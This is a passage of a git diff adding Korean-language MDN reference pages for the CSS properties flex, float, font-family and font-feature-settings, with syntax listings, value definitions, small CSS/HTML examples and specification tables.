+}
+
+.item {
+ margin: 1em;
+ padding: 0.5em;
+ width: 110px;
+ min-width: 0;
+ background-color: #1B5385;
+ color: white;
+ font-family: monospace;
+ font-size: 13px;
+}
+
+.initial {
+ flex: initial;
+}
+
+.auto {
+ flex: auto;
+}
+
+.none {
+ flex: none;
+}
+
+.four {
+ flex: 4;
+}
+
+.two {
+ flex: 2;
+}
+
+.one {
+ flex: 1;
+}
+</pre>
+
+<p>{{EmbedLiveSample("flex", 1200, 370, "", "", "example-outcome-frame")}}</p>
+
+<p>기본적으로 플렉스 아이템은 콘텐츠의 최소 너비 미만으로 줄어들지 않습니다. {{cssxref("min-width")}}나 {{cssxref("min-height")}} 값을 지정해 바꿀 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush: css">/* Keyword values */
+flex: auto;
+flex: initial;
+flex: none;
+
+/* One value, unitless number: flex-grow */
+flex: 2;
+
+/* One value, length or percentage: flex-basis */
+flex: 10em;
+flex: 30%;
+
+/* Two values: flex-grow | flex-basis */
+flex: 1 30px;
+
+/* Two values: flex-grow | flex-shrink */
+flex: 2 2;
+
+/* Three values: flex-grow | flex-shrink | flex-basis */
+flex: 2 2 10%;
+
+/* Global values */
+flex: inherit;
+flex: initial;
+flex: unset;</pre>
+
+<p><code>flex</code> 속성은 한 개에서 세 개의 값을 사용해 지정할 수 있습니다.</p>
+
+<ul>
+ <li><strong>값이 한 개일 때</strong>, 그 값은 다음 중 하나여야 합니다.
+
+ <ul>
+ <li>{{cssxref("&lt;number&gt;")}}를 지정하면 <code>&lt;flex-grow&gt;</code>입니다.</li>
+ <li>{{cssxref("&lt;length&gt;")}} 또는 {{cssxref("&lt;percentage&gt;")}}를 지정하면 <code>&lt;flex-basis&gt;</code>입니다.</li>
+ <li><code>none</code>, <code>auto</code>, <code>initial</code> 중 하나를 지정할 수 있습니다.</li>
+ </ul>
+ </li>
+ <li><strong>값이 두 개일때</strong>, 첫 번째 값은 {{cssxref("&lt;number&gt;")}}여야 하며 <code>&lt;flex-grow&gt;</code>가 됩니다. 두 번째 값은 다음 중 하나여야 합니다.
+ <ul>
+ <li>{{cssxref("&lt;number&gt;")}}를 지정하면 <code>&lt;flex-shrink&gt;</code>입니다.</li>
+ <li>{{cssxref("&lt;length&gt;")}}, {{cssxref("&lt;percentage&gt;")}}, 또는 <code>auto</code>를 지정하면 <code>&lt;flex-basis&gt;</code>입니다.</li>
+ </ul>
+ </li>
+ <li><strong>값이 세 개일 때</strong>는 다음 순서를 따라야 합니다.
+ <ol>
+ <li><code>&lt;flex-grow&gt;</code>에 사용할 {{cssxref("&lt;number&gt;")}}</li>
+ <li><code>&lt;flex-shrink&gt;</code>에 사용할 {{cssxref("&lt;number&gt;")}}</li>
+ <li><code>&lt;flex-basis&gt;</code>에 사용할 {{cssxref("&lt;length&gt;")}}, {{cssxref("&lt;percentage&gt;")}}, 또는 <code>auto</code></li>
+ </ol>
+ </li>
+</ul>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt><code>initial</code></dt>
+ <dd>아이템 크기가 각각의 <code>width</code>와 <code>height</code> 속성에 따라 정해집니다. 플렉스 컨테이너의 크기를 넘지 않기 위해 최소 크기로 줄어들 수는 있지만, 남은 공간을 채우려 늘어나지는 않습니다. <code>flex: 0 1 auto</code>와 동일합니다.</dd>
+ <dt><code>auto</code></dt>
+ <dd>아이템 크기가 각각의 <code>width</code>와 <code>height</code> 속성에 따라 정해집니다. 플렉스 컨테이너의 크기를 넘지 않기 위해 최소 크기로 줄어들 수 있으며, 남은 공간을 채우기 위해 늘어날 수도 있습니다. <code>flex: 1 1 auto</code>와 동일합니다.</dd>
+ <dt><code>none</code></dt>
+ <dd>아이템 크기가 각각의 <code>width</code>와 <code>height</code> 속성에 따라 정해지며, 컨테이너의 크기에 관계 없이 변하지 않습니다. <code>flex: 0 0 auto</code>와 동일합니다.</dd>
+ <dt><a id="&lt;'flex-grow'>" name="&lt;'flex-grow'>"><code>&lt;'flex-grow'&gt;</code></a></dt>
+ <dd>플렉스 아이템의 {{cssxref("flex-grow")}}를 지정합니다. 음수 값은 유효하지 않습니다. 생략 시 기본값은 <code>0</code>입니다.</dd>
+ <dt><a id="&lt;'flex-shrink'>" name="&lt;'flex-shrink'>"><code>&lt;'flex-shrink'&gt;</code></a></dt>
+ <dd>플렉스 아이템의 {{cssxref("flex-shrink")}}를 지정합니다. 음수 값은 유효하지 않습니다. 생략 시 기본값은 <code>1</code>입니다.</dd>
+ <dt><a id="&lt;'flex-basis'>" name="&lt;'flex-basis'>"><code>&lt;'flex-basis'&gt;</code></a></dt>
+ <dd>플렉스 아이템의 {{cssxref("flex-basis")}}를 지정합니다. <code>0</code>을 지정하려면 <code>&lt;flex-grow&gt;</code> 또는 <code>&lt;flex-shrink&gt;</code>로 읽히지 않도록 단위를 붙여야 합니다. 생략 시 기본값은 <code>auto</code>입니다.</dd>
+</dl>
+
+<div class="note">
+<p>한 개 또는 두 개의 단위 없는 숫자 값을 사용할 때, <code>&lt;flex-basis&gt;</code>의 값은 <code>auto</code>가 아니라 <code>0</code>이 됩니다. 더 자세한 정보는 <a href="https://drafts.csswg.org/css-flexbox/#flex-common">플렉시블 박스 레이아웃 모듈</a> 초안에서 확인할 수 있습니다.</p>
+</div>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">#flex-container {
+ display: flex;
+ flex-direction: row;
+}
+
+#flex-container &gt; .flex-item {
+ flex: auto;
+}
+
+#flex-container &gt; .raw-item {
+ width: 5rem;
+}
+</pre>
+
+<pre class="brush: html">&lt;div id="flex-container"&gt;
+ &lt;div class="flex-item" id="flex"&gt;Flex box (click to toggle raw box)&lt;/div&gt;
+ &lt;div class="raw-item" id="raw"&gt;Raw box&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: js">var flex = document.getElementById("flex");
+var raw = document.getElementById("raw");
+flex.addEventListener("click", function() {
+ raw.style.display = raw.style.display == "none" ? "block" : "none";
+});
+</pre>
+
+<pre class="brush: css">#flex-container {
+ width: 100%;
+ font-family: Consolas, Arial, sans-serif;
+}
+
+#flex-container &gt; div {
+ border: 1px solid #f00;
+ padding: 1rem;
+}
+
+#flex-container &gt; .raw-item {
+ border: 1px solid #000;
+}
+</pre>
+</div>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제','100%','60')}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th>Specification</th>
+ <th>Status</th>
+ <th>Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Flexbox', '#flex-property', 'flex')}}</td>
+ <td>{{Spec2('CSS3 Flexbox')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.flex")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>CSS 플렉스박스 안내서: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
+ <li>CSS 플렉스박스 안내서: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlling Ratios of flex items along the main axis</a></em></li>
+</ul>
diff --git a/files/ko/web/css/float/index.html b/files/ko/web/css/float/index.html
new file mode 100644
index 0000000000..149f9e39a5
--- /dev/null
+++ b/files/ko/web/css/float/index.html
@@ -0,0 +1,215 @@
+---
+title: float
+slug: Web/CSS/float
+tags:
+ - CSS
+ - CSS Positioning
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/float
+---
+<div>{{CSSRef}}</div>
+
+<p>CSS 속성(property) <strong><code>float</code></strong> 은 한 요소(element)가 보통 흐름(normal flow)으로부터 빠져 텍스트 및 인라인(inline) 요소가 그 주위를 감싸는 자기 컨테이너의 좌우측을 따라 배치되어야 함을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/float.html")}}</div>
+
+
+
+<p>부동<strong>(floating) 요소</strong> 는 <code>float</code> 의 계산값(computed value)이 <code>none</code>이 아닌 요소입니다.</p>
+
+<p>{{cssinfo}}</p>
+
+<p><code>float</code> 은 블록 레이아웃의 사용을 뜻하기 때문에, 일부 경우에 {{cssxref("display")}} 값의 계산값을 수정합니다:</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">지정값(Specified value)</th>
+ <th scope="col">계산값</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>inline</code></td>
+ <td><code>block</code></td>
+ </tr>
+ <tr>
+ <td><code>inline-block</code></td>
+ <td><code>block</code></td>
+ </tr>
+ <tr>
+ <td><code>inline-table</code></td>
+ <td><code>table</code></td>
+ </tr>
+ <tr>
+ <td><code>table-row</code></td>
+ <td><code>block</code></td>
+ </tr>
+ <tr>
+ <td><code>table-row-group</code></td>
+ <td><code>block</code></td>
+ </tr>
+ <tr>
+ <td><code>table-column</code></td>
+ <td><code>block</code></td>
+ </tr>
+ <tr>
+ <td><code>table-column-group</code></td>
+ <td><code>block</code></td>
+ </tr>
+ <tr>
+ <td><code>table-cell</code></td>
+ <td><code>block</code></td>
+ </tr>
+ <tr>
+ <td><code>table-caption</code></td>
+ <td><code>block</code></td>
+ </tr>
+ <tr>
+ <td><code>table-header-group</code></td>
+ <td><code>block</code></td>
+ </tr>
+ <tr>
+ <td><code>table-footer-group</code></td>
+ <td><code>block</code></td>
+ </tr>
+ <tr>
+ <td><code>flex</code></td>
+ <td><code>flex</code>, 다만 <code>float</code> 은 이러한 요소에 효과가 없음</td>
+ </tr>
+ <tr>
+ <td><code>inline-flex</code></td>
+ <td><code>inline-flex</code>, 다만 <code>float</code> 은 이러한 요소에 효과가 없음</td>
+ </tr>
+ <tr>
+ <td><em>그외</em></td>
+ <td><em>변화없음</em></td>
+ </tr>
+ </tbody>
+</table>
+
+<div class="note"><strong>주의: </strong>JavaScript에서 이 속성을 {{domxref("element.style")}} 객체의 멤버로서 참조한다면, 당신은 <code>cssFloat</code>으로 철자를 써야 합니다. 또한 Internet Explorer 8 이전 버전에서는 <code>styleFloat</code>으로 썼음을 주의하세요. 이는 DOM 멤버의 이름은 dash(-)로 구분된 CSS 이름의 카멜케이스(camel-case) 명이다는 규칙의 예외(이고 "class"는 "className"으로 &lt;label&gt;의 "for"는 "htmlFor"로 이스케이프할 필요와 같이 "float"이 JavaScript에서 예약어란 사실 때문)입니다.</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css">/* 키워드 값 */
+float: left;
+float: right;
+float: none;
+float: inline-start;
+float: inline-end;
+
+/* 전역 값 */
+float: inherit;
+float: initial;
+float: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>left</code></dt>
+ <dd>는 요소가 자신의 포함(containing) 블록의 좌측에 부동(float, 떠움직여)해야 함을 나타내는 키워드입니다.</dd>
+ <dt><code>right</code></dt>
+ <dd>는 요소가 자신의 포함 블록의 우측에 부동해야 함을 나타내는 키워드입니다.</dd>
+ <dt><code>none</code></dt>
+ <dd>는 요소가 부동하지 않아야 함을 나타내는 키워드입니다.</dd>
+ <dt><code>inline-start</code></dt>
+ <dd>는 요소가 자신의 포함 블록의 시작쪽에 부동해야 함을 나타내는 키워드입니다. 즉, ltr(left to right) 스크립트 상에서 왼쪽 그리고 rtl(right to left) 스크립트 상에서는 오른쪽.</dd>
+ <dt><code>inline-end</code></dt>
+ <dd>는 요소가 자신의 포함 블록의 끝쪽에 부동해야 함을 나타내는 키워드입니다. 즉, ltr 스크립트 상에서 오른쪽 그리고 rtl 스크립트 상에서는 왼쪽.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div { border: solid red; max-width: 70ex; }
+h4 { float: left; margin: 0; }</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+ &lt;h4&gt;HELLO!&lt;/h4&gt;
+ This is some text. This is some text. This is some text.
+ This is some text. This is some text. This is some text.
+ This is some text. This is some text. This is some text.
+ This is some text. This is some text. This is some text.
+&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h3 id="float이_위치_지정되는_법">float이 위치 지정되는 법</h3>
+
+<p>위에서 말한 바와 같이, 요소가 부동되면 문서의 보통 흐름에서 빠집니다. 부동된 요소는 포함 박스나<em> 다른 부동된 요소</em>의 가장자리(edge)에 닿을 때까지 좌나 우로 이동됩니다.</p>
+
+<p>아래 이미지에는, 빨간 사각형이 세 개 있습니다. 둘은 좌에 부동되고 하나는 우에 부동됩니다. "왼쪽" 두 번째 빨간 사각형은 첫 번째 사각형 오른쪽에 놓임을 주의하세요. 추가 사각형은 그들이 포함 박스를 채울 때까지 계속해서 오른쪽으로 쌓입니다. 그 후엔 다음 줄로 넘어갑니다(wrap).</p>
+
+<p><img src="/@api/deki/files/4927/=floats.png" style="height: 248px; width: 729px;"></p>
+
+<h3 id="float_지우기">float 지우기</h3>
+
+<p>위 예제에서, 부동된 요소는 안에 텍스트가 부동된 블록보다 세로가 더 짧습니다. 그러나, 텍스트가 모든 부동 요소 하단 아래로 넘어갈 만큼 길지 않다면, 예상치 못한 결과를 볼 수 있습니다. 예를 들어, 위 단락(paragraph)이 오직 "Lorem ipsum dolor sit amet,"만 읽고 "Floats Example" 머릿글(heading)처럼 같은 스타일의 다른 머릿글이 이어졌다면, 두 번째 머릿글은 빨간 박스 사이에 보입니다. 아마도, 우리는 다음 머릿글이 완전히 왼쪽으로 정렬되기를 원합니다. 이를 달성하기 위해, 우리는 float을 지워야(clear) 합니다.</p>
+
+<p>이 예제에서 float을 지우는 가장 간단한 방법은 우리가 왼쪽으로 정렬되는 지 확인하고 싶은 새 머릿글에 {{Cssxref("clear")}} 속성을 추가하는 것입니다:</p>
+
+<pre class="brush:css">h2.secondHeading { clear: both; }
+</pre>
+
+<p>그러나, 이 방법은 우리가 머릿글이 가로로 옆에 계속 보이기를 원하는 같은 블록 형식 문맥(<a href="/ko/docs/Web/Guide/CSS/Block_formatting_context" rel="internal">block formatting context</a>) 내에 다른 요소가 없을 때만 동작합니다. 우리 <code>h2</code> 좌우로 부동되는 사이드바(sidebar)인 형제(sibling)가 있다면, <code>clear</code> 사용은 강제로 머릿글이 두 사이드바 아래로 나타나게 하고 이는 아마 우리가 원하는 게 아닙니다.</p>
+
+<p>그들 아래 요소의 float을 지우는 게 선택사항이 아니라면, 다른 방법(approach)은 부동 요소가 담긴 컨테이너의 블록 형식 문맥을 제한하는 겁니다. 다시 위 예제를 참조하면, 빨간 박스 셋은 모두 <code>p</code> 요소 내에 있는 걸로 보입니다. 우리는 박스를 포함하도록 늘어나지만, 그 하단 밖(밑)으로 사라지지 않게 <code>hidden</code> 혹은 <code>auto</code> 로 p의 {{Cssxref("overflow")}} 속성을 설정할 수 있습니다:</p>
+
+<pre class="brush:css">p.withRedBoxes { overflow: hidden; height: auto; }
+</pre>
+
+<div class="note"><strong>주의:</strong> <code>overflow</code> 를 <code>scroll</code> 로 설정하면 부동된 모든 자식(child) 요소도 포함합니다. 하지만 스크롤바가 콘텐츠의 높이에 상관없이 보입니다. 그 컨테이너가 콘텐츠를 수용하기 위해 늘어야(grow) 함을 나타내는 기본(default)임에도 불구하고, 여기에서 우리는 <code>height</code> 를 <code>auto</code> 로 설정하고 있습니다.</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS Logical Properties', '#float-clear', 'float and clear')}}</td>
+ <td>{{Spec2('CSS Logical Properties')}}</td>
+ <td><code>inline-start</code> 및 <code>inline-end </code>값이 추가됨.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Box', '#float', 'float')}}</td>
+ <td>{{Spec2('CSS3 Box')}}</td>
+ <td>많은 새 값이, 아직 모두 분명히 정의되지 않음. 새 기능과 관련 없는 행동의 차이는 모두 의도치 않은 걸로 예상됩니다. 그러므로 보고해 주세요.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'visuren.html#float-position', 'float')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>변화 없음</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#float', 'float')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("css.properties.float")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/Guide/CSS/Block_formatting_context">Block formatting context</a></li>
+</ul>
diff --git a/files/ko/web/css/font-family/index.html b/files/ko/web/css/font-family/index.html
new file mode 100644
index 0000000000..2653a7e6fc
--- /dev/null
+++ b/files/ko/web/css/font-family/index.html
@@ -0,0 +1,177 @@
+---
+title: font-family
+slug: Web/CSS/font-family
+tags:
+ - CSS
+ - CSS Fonts
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/font-family
+---
+<div>{{CSSRef}}</div>
+
+<p>CSS <strong><code>font-family</code></strong> 속성은 선택된 요소에 우선 순위가 지정된 font family 이름과 generic family 이름을  지정할 수 있게 해줍니다. </p>
+
+<p>{{EmbedInteractiveExample("pages/css/font-family.html")}}</p>
+
+<p>값은 콤마로 구분하여 대체가 될 수 있음을 나타냅니다. 브라우저는 폰트 목록에서 컴퓨터에 설치되어 있거나 {{cssxref("@font-face")}} 규칙을 이용하여 다운로드 받을 수 있는 폰트 중 가장 첫번째 폰트를 선택할 것입니다.</p>
+
+<p>웹 제작자는 font-family 목록에 최소 한 개의 generic family를 추가해야 하는데, 시스템이나 {{cssxref("@font-face")}} 규칙을 이용 해 다운로드 받은 폰트 중에 특정 폰트가 있다는 것을 보장할 수 없기 때문입니다. generic family는 브라우저가 대체할 수 있는 폰트가 필요한 경우 선택할 수 있게 해줍니다. </p>
+
+<p>font-size를 설정하거나 다른 폰트 관련 속성들을 한꺼번에 지정하는 경우 {{cssxref("font")}}가 단축형으로 자주 사용됩니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css">/* A font family name and a generic family name */
+font-family: Gill Sans Extrabold, sans-serif;
+font-family: "Goudy Bookletter 1911", sans-serif;
+
+/* A generic family name only */
+font-family: serif;
+font-family: sans-serif;
+font-family: monospace;
+font-family: cursive;
+font-family: fantasy;
+font-family: system-ui;
+
+/* Global values */
+font-family: inherit;
+font-family: initial;
+font-family: unset;
+</pre>
+
+<p>The <code>font-family</code> property lists one or more font families, separated by commas. Each font family is specified as either a <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">{{anch("family-name", "&lt;family-name&gt;")}}</span></font> or a <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">{{anch("generic-name", "&lt;generic-name&gt;")}}</span></font> value.</p>
+
+<p>The example below lists two font families, the first with a <code>&lt;family-name&gt;</code> and the second with a <code>&lt;generic-name&gt;</code>:</p>
+
+<pre>font-family: Gill Sans Extrabold, sans-serif;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt id="family-name"><code>&lt;family-name&gt;</code></dt>
+ <dd>The name of a font family. For example, "Times" and "Helvetica" are font families. Font family names containing whitespace should be quoted.</dd>
+ <dt id="generic-name"><code>&lt;generic-name&gt;</code></dt>
+ <dd>
+ <p>Generic font families are a fallback mechanism, a means of preserving some of the style sheet author's intent when none of the specified fonts are available. Generic family names are keywords and must not be quoted. A generic font family should be the last item in the list of font family names. The following keywords are defined:</p>
+
+ <dl>
+ <dt><code>serif</code></dt>
+ <dd style="font-family: serif;">Glyphs have finishing strokes, flared or tapering ends, or have actual serifed endings.<br>
+ E.g. <span style="font-family: lucida bright,serif;">Lucida Bright</span>, <span style="font-family: lucida fax,serif;">Lucida Fax</span>, <span style="font-family: palatino,serif;">Palatino</span>, <span style="font-family: palatino linotype,serif;">"Palatino Linotype"</span>, <span style="font-family: palladio,serif;">Palladio</span>, <span style="font-family: urw palladio,serif;">"URW Palladio"</span>, <span style="font-family: serif;">serif</span>.</dd>
+ <dt><code>sans-serif</code></dt>
+ <dd style="font-family: sans-serif;">Glyphs have stroke endings that are plain.<br>
+ E.g. <span style="font-family: open sans,sans-serif;">"Open Sans"</span>, <span style="font-family: fira sans,sans-serif;">"Fira Sans"</span>, <span style="font-family: lucida sans,sans-serif;">"Lucida Sans"</span>, <span style="font-family: lucida sans unicode,sans-serif;">"Lucida Sans Unicode"</span>, <span style="font-family: trebuchet ms,sans-serif;">"Trebuchet MS"</span>, <span style="font-family: liberation sans,sans-serif;">"Liberation Sans"</span>, <span style="font-family: nimbus sans l,sans-serif;">"Nimbus Sans L"</span>, <span style="font-family: sans-serif;">sans-serif</span>.</dd>
+ <dt><code>monospace</code></dt>
+ <dd style="font-family: monospace;">All glyphs have the same fixed width.<br>
+ E.g. <span style="font-family: fira mono,monospace;">"Fira Mono"</span>, <span style="font-family: dejavu sans mono,monospace;">"DejaVu Sans Mono"</span>, <span style="font-family: menlo,monospace;">Menlo</span>, <span style="font-family: consolas,monospace;">Consolas</span>, <span style="font-family: liberation mono,monospace;">"Liberation Mono"</span>, <span style="font-family: monaco,monospace;">Monaco</span>, <span style="font-family: lucida console,monospace;">"Lucida Console"</span>, <span style="font-family: monospace;">monospace.</span></dd>
+ <dt><code>cursive</code></dt>
+ <dd style="font-family: cursive;">Glyphs in cursive fonts generally have either joining strokes or other cursive characteristics beyond those of italic typefaces. The glyphs are partially or completely connected, and the result looks more like handwritten pen or brush writing than printed letterwork.<br>
+ E.g. <span style="font-family: brush script mt,cursive;">"Brush Script MT</span>", <span style="font-family: brush script std,cursive;">"Brush Script Std</span>", <span>"Lucida Calligraphy"</span>, <span>"Lucida Handwriting"</span>, <span style="font-family: apple chancery,cursive;">"Apple Chancery"</span>, <span style="font-family: cursive;">cursive</span>.</dd>
+ <dt><code>fantasy</code></dt>
+ <dd style="font-family: fantasy;">Fantasy fonts are primarily decorative fonts that contain playful representations of characters.<br>
+ E.g. <span style="font-family: papyrus,fantasy;">Papyrus</span>, <span style="font-family: herculanum,fantasy;">Herculanum</span>, <span style="font-family: party let,fantasy;">Party LET</span>, <span style="font-family: curlz mt,fantasy;">Curlz MT</span>, <span style="font-family: harrington,fantasy;">Harrington</span>, <span style="font-family: fantasy;">fantasy</span>.</dd>
+ <dt><code>system-ui</code></dt>
+ <dd>Glyphs are taken from the default user interface font on a given platform. Because typographic traditions vary widely across the world, this generic is provided for typefaces that don't map cleanly into the other generics.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="유효한_폰트_패밀리_이름">유효한 폰트 패밀리 이름</h3>
+
+<p>Font family names must either be given quoted as strings, or unquoted as a sequence of one or more identifiers. This means that punctuation characters and digits at the start of each token must be escaped in unquoted font family names.</p>
+
+<p>For example, the following declarations are valid:</p>
+
+<pre class="brush:css">font-family: Gill Sans Extrabold, sans-serif;
+font-family: "Goudy Bookletter 1911", sans-serif;</pre>
+
+<p>The following declarations are <strong>invalid</strong>:</p>
+
+<pre class="brush:css example-bad">font-family: Goudy Bookletter 1911, sans-serif;
+font-family: Red/Black, sans-serif;
+font-family: "Lucida" Grande, sans-serif;
+font-family: Ahem!, sans-serif;
+font-family: test@foo, sans-serif;
+font-family: #POUND, sans-serif;
+font-family: Hawaii 5-0, sans-serif;</pre>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Some_common_font_families">Some common font families</h3>
+
+<pre class="brush: css">.serif {
+  font-family: Times, Times New Roman, Georgia, serif;
+}
+
+.sansserif {
+  font-family: Verdana, Arial, Helvetica, sans-serif;
+}
+
+.monospace {
+  font-family: Lucida Console, Courier, monospace;
+}
+
+.cursive {
+  font-family: cursive;
+}
+
+.fantasy {
+  font-family: fantasy;
+}
+</pre>
+
+<div class="hidden">
+<pre class="syntaxbox">&lt;div class="serif"&gt;This is an example of a serif font.&lt;/div&gt;
+&lt;div class="sansserif"&gt;This is an example of a sans-serif font.&lt;/div&gt;
+&lt;div class="monospace"&gt;This is an example of a monospace font.&lt;/div&gt;
+&lt;div class="cursive"&gt;This is an example of a cursive font.&lt;/div&gt;
+&lt;div class="fantasy"&gt;This is an example of a fantasy font.&lt;/div&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Some_common_font_families','600','120') }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Fonts', '#generic-font-families', 'generic font families')}}</td>
+ <td>{{Spec2('CSS4 Fonts')}}</td>
+ <td>Adds new generic font families, specifically: <code>system-ui</code>, <code>emoji</code>, <code>math</code>, and <code>fangsong</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Fonts', '#font-family-prop', 'font-family')}}</td>
+ <td>{{Spec2('CSS3 Fonts')}}</td>
+ <td>No significant change</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'fonts.html#propdef-font-family', 'font-family')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>No significant change</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#font-family', 'font-family')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("css.properties.font-family")}}</p>
diff --git a/files/ko/web/css/font-feature-settings/index.html b/files/ko/web/css/font-feature-settings/index.html
new file mode 100644
index 0000000000..ad3bcb430b
--- /dev/null
+++ b/files/ko/web/css/font-feature-settings/index.html
@@ -0,0 +1,128 @@
+---
+title: font-feature-settings
+slug: Web/CSS/font-feature-settings
+translation_of: Web/CSS/font-feature-settings
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>font-feature-settings</code></strong> CSS 속성은 오픈타입 폰트의 다양한 오픈타입 피처를 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/font-feature-settings.html")}}</div>
+
+
+
+<h2 id="문법">문법</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* 기본값 사용 */
+font-feature-settings: normal;
+
+/* 오픈타입 피처 태그에 대해 값 설정 */
+font-feature-settings: "smcp";
+font-feature-settings: "smcp" on;
+font-feature-settings: "swsh" 2;
+font-feature-settings: "smcp", "swsh" 2;
+
+/* 전역 값 사용 */
+font-feature-settings: inherit;
+font-feature-settings: initial;
+font-feature-settings: unset;</pre>
+
+<p>가능하다면 <a href="https://developer.mozilla.org/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>인 {{cssxref("font-variant")}} 속성을 사용하거나, 각각의 피처와 연관된 {{cssxref("font-variant-ligatures")}}, {{cssxref("font-variant-caps")}}, {{cssxref("font-variant-east-asian")}}, {{cssxref("font-variant-alternates")}}, {{cssxref("font-variant-numeric")}}, {{cssxref("font-variant-position")}} 등을 사용하는 것이 <code>font-feature-settings</code>를 직접 사용하는 것에 비해 더 효율적이고, 예측 가능하게 동작하며 이해하기도 쉽습니다.</p>
+
+<p>이는 <code>font-feature-settings</code>는 원래 작은 대문자(Small caps)와 같이 접근할 수 있는 다른 방법이 없는 오픈타입 피처를 제어하기 위해 만들어진 저수준의 기능이기 때문입니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>기본값을 이용하여 텍스트를 표시합니다.</dd>
+ <dt><code>&lt;feature-tag-value&gt;</code></dt>
+ <dd>텍스트를 렌더링할 때, 오픈타입 피처를 활성화하거나 비활성화하기 위해 피처 태그 목록을 렌더링 엔진에 전달합니다. 피처 태그는 4개의 ASCII 문자로 이루어진 {{cssxref("&lt;string&gt;")}}이어야 합니다. 만약 태그가 네 글자보다 짧거나, 유니코드 <code>U+20</code> – <code>U+7E</code> 범위 바깥에 있는 문자를 포함한다면 속성 전체가 무효처리됩니다.<br>
+ 값은 양의 정수 값을 가집니다. 각각 <code>1</code>, <code>0</code>과 같은 의미를 가지는 키워드 <code>on</code> 과 <code>off</code>도 사용할 수 있습니다. 아무런 값이 설정되지 않았다면 기본값은 <code>1</code>입니다. <a href="http://www.microsoft.com/typography/otspec/features_pt.htm#salt" title="http://www.microsoft.com/typography/otspec/features_pt.htm#salt">stylistic alternates</a>와 같이 Boolean 타입이 아닌 오픈타입 피처의 경우, 값은 선택되어야 하는 글리프(글자)를 의미합니다. Boolean 타입인 경우에는 스위치라고 생각하시면 됩니다.</dd>
+ <dd></dd>
+</dl>
+
+<h2 id="Formal_definition">Formal definition</h2>
+
+<p>{{cssinfo}}</p>
+
